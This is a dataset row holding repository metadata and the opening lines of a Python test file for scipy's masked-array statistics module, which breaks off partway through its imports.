] | permissive | johankaito/fufuka | 77ddb841f27f6ce8036d7b38cb51dc62e85b2679 | 32a96ecf98ce305c2206c38443e58fdec88c788d | refs/heads/master | 2022-07-20T00:51:55.922063 | 2015-08-21T20:56:48 | 2015-08-21T20:56:48 | 39,845,849 | 2 | 0 | Apache-2.0 | 2022-06-29T23:30:11 | 2015-07-28T16:39:54 | Python | UTF-8 | Python | false | false | 48,883 | py | """
Tests for the stats.mstats module (support for masked arrays)
"""
from __future__ import division, print_function, absolute_import
import warnings
import numpy as np
from numpy import nan
import numpy.ma as ma
from numpy.ma import masked, nomask
import scipy.stats.mstats as mstats
from scipy import stats
from co... | [
"john.g.keto@gmail.com"
] | john.g.keto@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.